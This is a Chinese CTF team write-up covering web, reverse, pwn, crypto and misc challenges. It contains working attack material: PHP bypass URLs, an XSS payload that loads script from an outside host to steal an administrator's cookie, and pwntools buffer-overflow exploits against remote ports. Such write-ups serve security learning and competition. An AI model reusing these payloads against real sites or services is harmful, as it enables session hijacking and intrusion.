[強網杯青少年賽] 慘慘戰隊WriteUp
Web
easy_php
簡單題,PHP黑魔法梭哈
第一層 a1 a2 弱型別繞過
第二層 b1 b2 陣列繞過
第三層 time 科學計數法繞過
/?a1=240610708&a2=QNKCDZO&b1[]=1&b2[]=2&time=8e88
簽到
開啟後是kali的命令界面,一直回車得到flag:
easy_http
先是以Get方式給fruit傳值apple:
然後再以Post方式給vegetable傳值potapo:
之後要求本地訪問,直接利用X-Forwarded-For頭繞過:
最後要求身份證明,這個也是非常腦洞的題目,secret其實是個迷霧,直接把Http_1s_W0nd3rful關鍵字新增到U-A頭即可繞過,最終資料包如下:
POST /?fruit=apple HTTP/1.1 Host: eci-2zejaarzxxkx8pqk0lcy.cloudeci1.ichunqiu.com Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 User-Agent: Http_1s_W0nd3rful X-Forwarded-For:127.0.0.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.9 Cookie: chkphone=acWxNpxhQpDiAchhNuSnEqyiQuDIO0O0O; browse=CFlaTxUYU0BaV1tCVQJTRFBZSkdeQ1lYWVtFR1dRW0VTUF5PW0VLTgBZXUNbQVxOGllZTFRTW0VbU0VFVlxbTElRWE9dRlNFWUFTCA; UM_distinctid=17438c3cfd544-084b5559307959-7d7f582e-1fa400-17438c3cfd72a; Hm_lvt_2d0601bd28de7d49818249cf35d95943=1599213575,1599230970,1599234684,1599267160; ci_session=4d0653e1d49e44a2ee608a388cea4c1195a1ba76; Hm_lpvt_2d0601bd28de7d49818249cf35d95943=1599290610; __jsluid_h=0f528e9a32a83f24c021a258d97f97ca Connection: close Content-Type: application/x-www-form-urlencoded Content-Length: 16 vegetable=potato
XSS
開啟題目可以看到導航欄有三個地址,第一個是成績查詢的介面,輸入姓名可以查詢到成績。
第二個是反饋頁面可以提交站點的連結,管理員會自動開啟檢視,此處也就是XSS點。
最後一個介面是Admin,開啟是後臺,應該是打到管理員cookie後偽造登入。
這題考察的肯定是xss內容,直接測試成績查詢頁面是否存在xss:
在成績查詢的輸入口通過fuzz發現過濾了script:
利用雙寫加上大小寫混淆就可以繞過,構造Payload如下:
<scrsCrIptipt srC=//xs.sb/pQBd></scrisCRipTpt>
得到反射型XSS Payload URL如下:
訪問後打到了自己的cookie資訊,證明反射型xss是正常執行的:
解題思路如下:
- 成績查詢頁面構造反射型xss
- 反饋介面將xss的地址提交,管理員會自動開啟該地址
- 成功打到cookie後修改cookie進入後臺,然後獲取flag
在反饋介面提交xss地址:
這裡有個坑,通過題目提示可以知道“/”就代表了host,所以不需要加前面的host,構造Payload如下:
/func2?csrf_token=IjA3MGE4YTc4MTU5MzcyNWY3MDkyNjUzMzEzZDlmMTY0NmM2NDA1ODci.X1NzPg.IndHPa7f4YNsJ-Mo-1gG5rOzwwU&name=%3CscrsCrIptipt+srC%3D%2F%2Fxs.sb%2FpQBd%3E%3C%2FscrisCRipTpt%3E&submit=Get+It%21
打到管理員cookie:
修改cookie後訪問Admin頁面得到flag:
Re
VM演算法分析
重要的處理部分是動態寫進入的 我們也用IDA動態跟進去 F5反彙編
int __cdecl sub_20000(int a1, int a2) { int result; // eax int i; // [esp+50h] [ebp-64h] int v4; // [esp+54h] [ebp-60h] int v5; // [esp+58h] [ebp-5Ch] int v6; // [esp+5Ch] [ebp-58h] int v7; // [esp+60h] [ebp-54h] int v8[20]; // [esp+64h] [ebp-50h] v4 = 0; v5 = 0; v6 = 0; v7 = 0; while ( 2 ) { switch ( *(unsigned __int8 *)(v7 + a2) ) { case 0xF0u: v8[v6++] = *(unsigned __int8 *)(v5 + a1); ++v7; continue; case 0xF1u: *(_BYTE *)(v5 + a1 - 1) = v8[--v6]; ++v7; continue; case 0xF2u: v4 = v8[--v6]; ++v7; continue; case 0xF3u: v4 += *(unsigned __int8 *)(v7 + a2 + 1); v7 += 2; continue; case 0xF4u: *(&v7 + v6) ^= v4; ++v7; continue; case 0xF5u: ++v5; ++v7; continue; case 0xF6u: if ( *(&v7 + v6) && *(&v7 + v6) != 10 ) ++v7; else v7 += 3; continue; case 0xF7u: for ( i = 0; *(_BYTE *)(i + a1); ++i ) ; result = v5; if ( v5 != i ) { v7 = 0; continue; } return result; default: continue; } } }
看著很複雜 把a2提出來是 [F0h,0F2h,0F3h,1,0F5h,0F0h,0F6h,0F4h,0F1h,0F7h]
按著流程走 執行程式碼 a1[i] = ( a[i] + 1 ) ^ a[i+1]
把最後的對照資料str2提取出來 逆向一下得到flag:
f = open('a.in') s = f.readline() i = 0 n = [] while i < len(s): n.append(int(s[i:i+2],16)) print int(s[i:i+2],16) i = i + 3 for i in range(len(n)-1-1,-1,-1): n[i] = (n[i] ^ n[i+1] )-1 flag = '' for i in range(len(n)): flag += chr(n[i]) print flag
Pwn
加減乘除
首先需要滿足 12次以內 讓其數值達到66 然後就是dword_40A0的值要非零 因為bss區域初始化是0 所以要修改 。發現駛入name也在bss且可以覆蓋 這裡的條件解決
12次到達66 直接寫指令碼跑一跑就出來了:
def dfs(n,dep,step): if flag: return if n == 66: print step exit(0) if dep == 12: return if n > 66: return dfs(3,dep+1,step+'a') dfs(n+4,dep+1,step+'b') dfs(n*7,dep+1,step+'c') dfs(n//5,dep+1,step+'d') dfs(0,0,'')
因為自己的send和sendline都沒有打通 乾脆後面的處理就手動了
from pwn import * # io = process('./pwn') io = remote('182.92.184.215',12345) name = 'A' * (0x409F - 0x4060 + 1) + p32(1) io.sendlineafter('start:',name) success('lxy') ''' payload = 'abbdbcbbbbbb' for i in range(len(payload)): io.sendafter('> ',payload[i]) sleep(0.1) ''' io.interactive()
URL
有後門函式,只需要覆蓋返回地址即可
0x40 + 0x40 + 0x50 不夠覆蓋,但瞭解到strcat到性質 遇到'\0'停止,所以可以構造一連串不帶終止符到payload
最開始用的是 0x40 + 0x39 + 0x4c + '\x99\x12\x40' 還是沒法覆蓋到ret_addr
突然又忘記Input限制 第二部分沒有按照0x40以內到字元要求 竟然打通了。。
from pwn import* #io = process('./pwn') io = remote('182.92.184.215',34521) elf = ELF('./pwn') def lauch_gdb(io): context.log_level = 'debug' gdb.attach(io) #lauch_gdb(p) io.sendlineafter("(protocol):",'A'*0x39+'\0') io.sendlineafter("(domain):",'A'*0x45) io.sendlineafter("(path):",'A'*0x44+p64(0x401299)) io.interactive()
Crypto
easy_Crypto
先線上解密一下http://www.metools.info/code/c90.html
加上符號就是 fpyitlyth__nsiaropiosengcgasstrg{r_e}
根據提示資訊 是一個柵欄加密 通過給的文字解密克可知每組數字為5
跑了一下普通柵欄發現不對 跑W型柵欄就出flag了:
flag{cryptography_is_so_insteresting}
base64
給了原文字和加密文字 還有加密的flag 很可能是修改過table
先讓原文字正常加密,對應搞出替換後的table,這裡因為字典不足,替換後的table部分缺失,先跑一下發現只有一處亂碼
替換後的table:LM#OPQRSTuvwxyz#VWXYZabcdefghi##lA#CDEFGHIJKmnopqrst012345# 亂碼的flag : flag{Mase64d1sdS0dF4nta5tic\x91
細心觀察發現 flag的加密文字中只有字元 k 在替換後的table裡面沒有對應
於是爆破一下k的位置 跑出flag:
import base64 table1 = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/' table2 = [] for i in range(64): table2.append('#') a = 'sadhlkj122i3upoi213456aABSADHKJHLKJSADSADJLKHUOIPQWUEYUGHJ123456789012233165410123123456789123709864hjklhfjldsnfzkpidjskljkamxcvmbcxamvbnm' en1 = 'c2FkaGxrajEyMmkzdXBvaTIxMzQ1NmFBQlNBREhLSkhMS0pTQURTQURKTEtIVU9JUFFXVUVZVUdISjEyMzQ1Njc4OTAxMjIzMzE2NTQxMDEyMzEyMzQ1Njc4OTEyMzcwOTg2NGhqa2xoZmpsZHNuZnprcGlkanNrbGprYW14Y3ZtYmN4YW12Ym5t' en2 = 'h2QDfRrKfCPsxFDticMpfYTrxtV1yFQMVEyMWPAwXDAxX0IYVZWYVZWvYPnTaZ9uZQQcaZaeaZiTXCPsxtV1yCh4zYLrxCTtxtP2yYVrxOPsxtPsxtV1yCh4zYPsxthqzYl2yRAJf2rHeFImeSyoeGIKhREDfGyKgRIKdb14d3endFy4db12dF5n' for i in range(len(en1)): for j in range(64): if table1[j] == en1[i]: table2[j] = en2[i] break s = 'eFrAe3nNdcyEyCWkxcykZtMkWCWoiRP1iRECkV==' #flag{Mase64_1s_S0_F4nta5tic} pl = [] for i in range(64): if table2[i] == '#': pl.append(i) for i in range(len(pl)): #table2[pl[i]] = 'k' table = '' for j in range(64): table += table2[j] print(table) print (base64.b64decode(s.translate(str.maketrans(table,table1)))) table2[pl[i]] = '#'
這裡得到的flag裡面的單詞為 Mase 改成 Base 就是正確flag
簡單演算法
簽到題後發系列
flag = '' a = [49, 60, 58, 53, 50, 107, 117, 63, 57, 107, 63, 109, 66, 137, 65, 119, 118, 128, 142, 118, 117, 118, 123, 147, 77, 126, 130, 124, 152, 80, 127, 134, 83, 87, 134, 87, 147, 148, 142, 95, 93, 85] for i in range(len(a)): flag += chr((a[i] - i - 1) ^ 86) print flag
easy_feistel
沒什麼好寫的 就是一個純逆向過程 有點繞 多除錯改一改就出來了嚶嚶嚶
import base64 def F(M,K): M1 = [] for i in range(16): tmp = ord(M[i]) M1.append(chr((tmp >> 4) ^ tmp)) K = list(K) for i in range(16): M1[i] = chr(ord(K[i]) ^ ord(M1[i])) M = list(M) Pe = [14,7,9,1,10,3,2,15,0,13,6,11,12,4,8,5] for i in range(16): M[Pe[i]] = M1[i] return "".join(M) def round(M,K): newL = M[0:16] newR = M[16:32] L = F(newR,K) R = [] for i in range(16): R.append(chr(ord(L[i])^ord(newL[i]))) return "".join(L) + "".join(R) f = open('outfei2.txt') K = [] for i in range(10): K.append(base64.b64decode(f.readline()[:-1])) M = base64.b64decode(f.readline()[:]) for i in range(9,-1,-1): print i M = round(M,K[i]) print M f.close() # flag{4b5b6e66-0fcc-405a-97ca-0}
moss
直接放網頁解密https://tool.lu/ja_JP/morse/
有提示小寫 加上{}構成flag flag{mossisveryf4nty}
Misc
一切皆可視
下載題目xml檔案後,用編輯器打開發現snap!的官網:https://snap.berkeley.edu
官網提供了線上IDE:https://snap.berkeley.edu/snap/snap.html
開啟IDE直接匯入題目xml檔案,可以看到重點在於解出開鎖的key
從原始碼可以看出來是異或加密,
根據前面sercet的值,直接寫指令碼跑出key:
a = [92, 0, 74, 66, 116, 77, 126 ,69 ,17, 17, 102, 126 ,69 ,79 ,97 ,126, 18 ,76 ,17 ,98 ,16 ,77 ,18 ,86,90,70,64,77,71] flag = '' for i in range(len(a)): a[i] ^= 33 flag += chr(a[i]) print flag[::-1]
Luo_Tianyi
有點腦洞的圖片隱寫,研究了好久= =腦洞是真的有點大
用steghide提取檔案,根據題目名稱猜測祕鑰是luotianyi
提取出flag.txt,得到Flag:
easy_pcap
根據題目題幹資訊可以使用wireshark進行流量分析,開啟資料包pcap格式資料包後發現很多的http協議,先過濾出HTTP協議型別的請求:
通過分析發現是一句話後門的流量監控檔案,發現一php檔名疑似是base編碼
base64解密 url解碼得到flag
git的謎底
寫字板開啟,我不知道怎麼想到的 可能是因為才裝的的虛擬機器沒有vscode
得到Flag:
flag{misc_stegano_is_everywhere}
misc_made_up
從題目的圖片中用binwalk分離出來一個zip檔案,密碼123456(弱口令猜出來的= =)
得到壓縮包中的txt文件,發現裡面有Tab和空格構成的內容,猜測是snow隱寫,但是一直沒有找到金鑰,在這裡卡了一晚上。
根據hint給的java盲水印,然後在github上找到一個專案https://github.com/ww23/BlindWatermark
用這個專案解出盲水印,得到金鑰:
snow隱寫,金鑰為PasS@wo_rd_here
在http://fog.misty.com/perry/ccs/snow/snow/snow.html解密得到Flag:
有點腦洞的圖片隱寫,研究了好久= =腦洞是真的有點大
用steghide提取檔案,根據題目名稱猜測祕鑰是luotianyi
提取出flag.txt,得到Flag: